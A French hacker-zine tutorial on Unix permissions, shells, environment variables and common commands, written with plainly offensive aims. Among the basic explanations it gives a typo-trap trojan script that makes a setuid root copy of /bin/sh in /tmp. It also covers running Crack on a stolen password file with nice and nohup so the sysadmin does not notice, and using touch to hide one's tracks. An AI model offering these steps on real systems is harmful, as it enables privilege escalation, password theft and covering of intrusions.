Je commence à commencer à maitriser Unix par Pawa Avec l'arrivée prochaine de LLC, j'ai cru bon d'écrire un petit article sur unix qui vous permettra de bien débuter... Ce n'est en aucune façon un guide de hacking, mais bien un article sur certaines commandes plus ou moins avancées d'unix. Bien comprendre les permissions: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Il est primordial de bien connaître comment fonctionnent les permissions sous unix. En connaissant bien les permissions, un hacker peut ainsi déceler certaines faiblesses dans un système et gagner de l'accès. Mais même l'usager normal devrait comprendre comment les permissions fonctionnent, car mal settées, ça peut permettre à certains usagers de lire votre mail, d'exécuter vos fichiers, de placer des trojans ou de modifier certains fichiers comme le .profile et le .rhosts. remarque: les $ et les # devant les lignes représentent les entrées au shell, # indiquant que c'est fait par le root, $ pour autres usagers... $ls -lag (1)(2)(3) (4) (5) -rw-r--r-- 1 root root 289870 Mar 7 14:11 npc-015.zip Voici l'explication des permissions pour npc-015.zip: Le premier tiret (-) indique que l'entrée est un fichier. Si c'était plutôt un d, cela voudrait dire que c'est un directory. Le premier groupe de trois caractères (ici, rw-) représente les permissions pour le propriétaire du fichier. Ici, le propriétaire, indique par (4) est root. Le second groupe (2), indique les permissions pour le groupe d'usage (5). Ici encore, c'est root. Enfin, le dernier groupe (3) donne les permissions pour les autres usagers. Voici ce que veulent dire les différentes permissions pour un fichier: r veut dire read, le fichier est ouvert à la lecture (on peut voir le contenu). w veut dire write, le fichier est ouvert à l'écriture. €a ne veut pas dire que le fichier est effacable, car l'effacement des fichiers est défini dans les permissions du répertoire. x pour exécutable, le fichier est exécutable... (fichier binaire ou batch) t pour sticky bit. Ceci n'est plus très utilisé aujourd'hui, et il semble que cela servait à enregistrer le texte des programmes en mémoire (résident). Maintenant pour les répertoires: r permet à l'usager de lister le contenu du répertoire (n'implique pas la lecture du contenu des fichiers). w permet a l'usager d'écrire et d'effacer des fichiers, ou des sous-répertoires. x permet à l'usager d'entrer dans le répertoire, sans nécessairement avoir la possibilité de lister les fichiers. t Permet d'empêcher les usagers qui n'ont pas d'accès privilégié d'effacer des fichiers qui ne leur appartiennent pas, et cela, même si le repertoire est world writable. Autres: lrwxrwxrwx 1 root root 18 Feb 19 17:07 incoming -> /home/ftp/incoming/ Ceci est un link, indique par le l du début. Les links sont des redirections. Ainsi, si vous faites cd incoming, en fait, vous serez dans /home/ftp/incoming même si vous paraissez être à /home/ftp/pub/incoming par exemple. Cet exemple en est un de linkage symbolique de directory, il est aussi possible de linker des fichiers (il existe différents modes de linkage autres que ceux mentionnés). Les links se font grâce à la commande ln. Il existe certaines autres permissions spéciales, qui ne sont pas d'un très grand intérêt pour l'usager. (exemple, prwxrwxrwx, ou le p indique un "fichier" FIFO créé avec mknod). Maintenant, comment setter les permissions? Deux manières, en utilisant une représentation symbolique, ou en utilisant un groupe octal. Ex: chmod u+r Donnera la permission au propriétaire (UID) de lire le fichier. C'est une représentation symbolique. chmod a+rwx Donnera la permission -rwxrwxrwx au fichier. u pour user (UID), o pour other, a pour all et g pour group (GID). aussi: chmod 777 Donnera la même permission que chmod a+rwx. Soit: 1 pour x 2 pour w 4 pour r Chaque section de permission est composée de la somme de chaque chiffre voulu. Ex: 777 (Usager=1+2+4=7, Groupe=1+2+4=7, Other=1+2+4=7) voir ci-haut Ex: 755 (Usager=1+2+4=7, Groupe=1+4=5, Other=1+4=5) => -rwxr-xr-x. Les permissions SetUID et SetGID: Parfois, vous rencontrez des fichiers ayant comme permissions: -rws--x--x 1 root bin 16956 Nov 16 18:44 su* Le s veux dire set (uid ou gid) à l'exécution du fichier. Ainsi, le programme su est setuid root, puisque le s apparait dans le champ du user. Cela veut dire que ceux qui exécutent ce fichier le font comme s'ils étaient root. (Ceci est limité à l'exécution du fichier. Cela n'implique pas que vous êtes root, car en fait, su reconnait tout de même qui vous êtes, pour demander le mot de passe). Su est un programme qui permet de switcher entre les usagers (d'où son nom: switch user) et qui doit runner suid root pour exécuter sa tâche. Un shell setuid root par exemple vous permetrait d'entrer dans un shell en tant que root, et donc d'avoir accès privilegié. Ceci est fait par: ls-ls (erreur de frappe fréquente): --------cut here--------- cp /bin/sh /tmp/.goroot chmod 4755 .goroot rm ls-ls --------cut here--------- ou le 4 sert a setter .goroot setuid. Bien sûr, pour faire cela, le fichier doit être owned par root, et il faut placer le trojan dans un endroit statégique (le mieux est un répertoire world writable qui est dans le path du root, malheureusement, ce n'est que très rarement le cas) et attendre que le sysadmin tape le nom de votre fichier par erreur. ex: $id uid=110 (pawa) gid=100 (users) $.goroot #id uid=110 (pawa) gid=100 (users) euid=0 (root) ou euid signifie effective user identification. Le nombre octal pour setter gid est le 2, ainsi chmod 2755 donne ceci: -rwxr-sr-x 1 root bin 300015 Mar 11 18:44 .gobin ^^^ ce qui vous donnerait un shell en étant group bin. Ex: $id uid=110 (pawa) gid=100 (users) $.gobin $id uid=110 (pawa) gid=100 (users) egid=1 (bin) La somme des deux (4+2=6) donnerait ceci: #id uid=0 (root) gid=0 (root) #chmod 6755 /tmp/.goroot #ls -lsa -rwsr-sr-x 1 root bin 300015 Mar 11 18:47 .goroot $id uid=110 (pawa) gid=100 (users) $.goroot #id uid=110 (pawa) gid=100 (users) euid=0 (root) egid=1 (bin). Bon, j'espère que vous avec bien compris le principe... Le Shell: ~~~~~~~~~ Malgré l'évidence semblant émaner du mot "shell" il convient d'expliquer un peu comment ça fonctionne. Le shell, c'est l'interpréteur de commandes. C'est le shell qui fait le lien entre tout ce que vous tapez et l'exécution de la commande. Par exemple, si le programme nn a besoin d'appeler l'éditeur joe pour écrire un message, vous verriez quelque chose du genre: sh -c /bin/joe /usr/tmp/nn.???? si vous tapiez ps -aux. Cela veut dire que nn fait appel à un shell afin d'exécuter joe. Ce qui est important de savoir, c'est qu'un shell est ce qui donne accès à tout. Peu importe que vous soyiez loggé ou non sur une machine, si vous pouvez obtenir un shell, vous pouvez contrôler (en partie du moins) la machine. Ceci est souvent fait via rsh (remote shell). C'est pourquoi bien comprendre les appels de shell est important, puisque c'est un outil très puissant. Pour obtenir un sous-shell, tapez simplement le nom du shell que vous voulez obtenir. Ex: /bin/sh. Vous serez alors dans le sous-shell. Toutes les actions que vous poserez dans le sous-shell n'interferont pas avec celles du shell principal. Ainsi, si vous étiez dans /home/me lors de votre appel du shell, et que dans ce shell vous ayez changé de directory pour /usr/local/lib/news/bin, en quittant le sous shell, vous vous retrouveriez dans /home/me, comme initialement. L'utilisation de multiples shells est un outil puissant de travail en multitâche. Il existe plusieurs sortes de shell, dont ksh (Korn shell), csh (C shell), bash (Bourne Again Shell)... Ils se ressemblent, mais des différences se trouvent principalement au point de vue de la programmation et des variables d'environnements. Les variables: ~~~~~~~~~~~~~~ Il existe au moins deux sortes de variables importantes: les variables simples et les variables d'environnement. Les variables d'environnement sont des variables dont les programmes se servent et qui permettent de personnaliser le système. Ainsi, chaque utilisateur peut modifier et ajouter des variables d'environnement dans son .profile . Exemples de variables d'environnement: PATH: cette variable décrit le chemin de recherche des fichiers. HOME: cette variable décrit votre répertoire initiale, ou vos fichiers sont normalement contenus, soit votre répertoire de travail. MAIL: ceci indique le répertoire dans lequel votre mailbox est située. EDITOR: ceci indique l'éditeur par défaut. Les varibales d'environnement sont settées grâce aux commandes setenv, export et set, dépendant des shells. Les variables simples sont simplement des étiquettes auxquelles on attribue une valeur. ex: A=10 assignera 10 a A. Pour travailler avec les variables, on utilise le symbole $. $echo $A 10 $echo $HOME /home/pawa La variable $ contient le numéro PID de votre processus. Chaque processus se voit attribué un PID à son exécution. Ceci permet d'identifier les différents processus. $echo $$ (rappel: $ sert à appeler la variable, $ EST la variable du PID) 8455 8455 est le # de PID de votre shell (dans ce cas) . Quand vous exécutez un programme, un PID différent de 8455 est assigné, permettant le multitasking (passage d'un programme à un autre) et prévenant les crashs (si votre programme s'arrête, vous retournerez au shell). Les commandes intéressantes... ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ & Permet d'exécuter une commande en background. Ainsi, Crack ./passwd& runnera votre crackeur de password en background, vous donnant ainsi la possibilité de faire autre chose. nice Pour ne pas que le sysadmin chiale parce que votre crackeur de password prend tout le cpu, runner avec nice roule en background mais avec une faible priorité. Ex: nice Crack ./passwd& (quoique Crack est automatiquement en mode nice). nohup Avec ca, votre crackeur de password continue de runner même après que vous ayez raccrochés! Ainsi, nice nohup Crack ./passwd& crackera votre password file de 2 megs avec votre dictionnaire de 4 megs, et vous n'avez qu'à revenir un mois plus tard pour chercher vos 2498 accomptes crackés! Ceci bien sûr à condition que le sysadmin n'a pas aperçu votre présence (ce qui devrait être le cas)! :) Les redirections input/output: Les symboles < et > permettent de rediriger l'entrée et la sortie d'une commande. Ex: ls -lsa > dir mettra le résultat dans le fichier dir. mail root < dir mailera le contenu du fichier dir au root (pouquoi feriez-vous cela?) ls -lsa >> dir mettra le résultat à la suite du fichier dir (append). Une chose intéressante avec les redirections, c'est que cela permet de bypasser certaines permissions. Supposons qu'il y ait ce fichier: -r-xr--r-- d00d users 1232003 Mar 11 19:01 greatwarez Vous qui n'êtes pas d00d, vous n'auriez pas la permission d'exécuter le fichier, faites cat greatmud > /home/me/greatmudtoo Ensuite, vous n'avez qu'à changer les perms et vous pouvez exécuter le fichier (puisque vous en êtes maintenant le proprio). Remarquez que cela aurait pu être fait avec cp, mais c'est quand même bon de savoir qu'il existe plusieurs possibilités... mv Permet de déplacer un fichier et/ou de le renommer Ex: mv /home/me/NPC-015 /home/ftp/pub/incoming/npc015.txt find Find est une commande complexe qui permet d'obtenir une liste de fichiers qui répondent à certaines exigences. Ex: find / -user root -perm -4100 -exec ls -l {} \; |mail me Ceci trouve tous les fichiers exécutables setuid root, en fait le listing et mail le résultat à me. who Permet de savoir qui est loggé. who /usr/adm/wtmp permet de savoir tous ceux qui se sont loggués avant vous. w Ressemble à who, mais donne d'autres d'infos, comme ce que les usagers sont en train de faire et leur idle time. finger Utilisé seul, donne d'autres informations sur les usagers loggués. Utilisé avec un nom d'usager, donne des infos sur son dernier log, s'il a de la mail, quand il l'a lue pour la dernière fois, et affiche le contenu de son .plan. Ce qui est bien avec finger, c'est que vous pouvez obtenir des informations sur des usagers qui ne sont pas sur le même système que vous (quand ils sont pluggués en réseau, bien sûr). ps Donne la liste des processus en cours. En faisant ps -aux, c'est une liste complète de tout ce qui runne présentement sur votre système. Si vous faites ps seul, vos processus seront affichés. Ps est très utile lorsque vous avez un programme arrêté, qui est pris dans une boucle sans fin, ou pour obtenir son PID (numéro d'identi- fication du processus) et ensuite la killer. kill Permet de killer un processus. kill 2322 arrêtera le processus ayant 2322 comme PID. touch Permet de changer la date et l'heure inscrit à côté du nom du fichier, lors d'un listing. Utile pour masquer vos actions... chown Permet de changer le propriétaire d'un fichier. Ceci ne peut normalement être fait que par le root. Les alias: ~~~~~~~~~~ Les alias sont des variables qui permettent d'exécuter une commande ou une série de commandes à la frappe d'un seul mot. Exemple courant: $ls File.txt $alias ls="ls -lag" $ls -r--r--r-- 1 pawa users 14222 Mar 30 18:36 File.txt Pour les usagers habitués au DOS, il peut être utile de définir plusieurs alias (quoique je déconseille cette pratique, donnant des mauvaises habitudes), du genre: $alias dir="ls -lags" $alias type="cat" $alias del="rm" Enfin, les alias sont aussi utilisés pour les fautes de frappes fréquentes: $alias mroe="more" $alias sl="ls" $alias telent="telnet" (note aux sysadmins: les alias ont priorité sur le nom d'un fichier, ainsi, en créant des alias des fautes de frappe, vous évitez d'exécutez des trojans pouvants avoir été placés, tout en n'ayant pas à retaper une commandes contenant une faute...) Pour créer un fichier difficilement effacable: cp fichier -fichier Votre fichier se nommera alors -fichier, et tenter de l'effacer avec rm -fichier donnera comme message: illegal option --f, car rm croit que -f est une switch. Il y a bien sûr moyen d'effacer, mais faut le savoir (vous devriez voir ca dans comp.unix.wizards, il y a environ 5 messages par se- maine de personnes demandant comment effacer de tels fichier) [BTW merci gurney pour le truc :)] Il y a divers autres moyens de créer des fichiers et même des répertoires qui seront difficilement accessibles même au root, en étant parfois presque invisibles. Bon, c'est tout pour cet article... si vous avez compris tout ce que j'ai écrit, vous commencez à commencer à maitriser unix... (car il y a beaucoup, BEAUCOUP de choses à apprendre!) Le mois prochain: un article sur comment bien débuter à hacker internet... D'ici là, amusez-vous bien et ne désesperez pas: LLC s'en vient!